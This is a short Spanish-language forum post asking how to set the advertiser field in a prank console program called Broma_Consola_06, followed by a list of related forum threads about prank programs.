Donde pone anunciante, poner su anuncio. Como pueden ver en Broma_Consola_06, no tiene nada en Anunciante.

¿Cómo se pone algo?



Saludos...
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
broma bat!!! « 1 2 ... 8 9 »
Hacking
von Newman 88 56,535 Último mensaje 27 Diciembre 2010, 23:42 pm
por von Newman
broma con vb « 1 2 »
Programación Visual Basic
vivachapas 17 5,777 Último mensaje 20 Abril 2007, 23:54 pm
por Ch3ck
Broma c++
Programación C/C++
daryo 7 4,673 Último mensaje 24 Mayo 2013, 22:57 pm
por Stakewinner00
broma en c++
Programación C/C++
daryo 3 2,808 Último mensaje 6 Julio 2013, 01:21 am
por lapras
como crear link con broma (joke),estilo broma (ooskar)
Foro Libre
Mamba Negra2 0 4,683 Último mensaje 19 Enero 2014, 11:24 am
por Mamba Negra2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines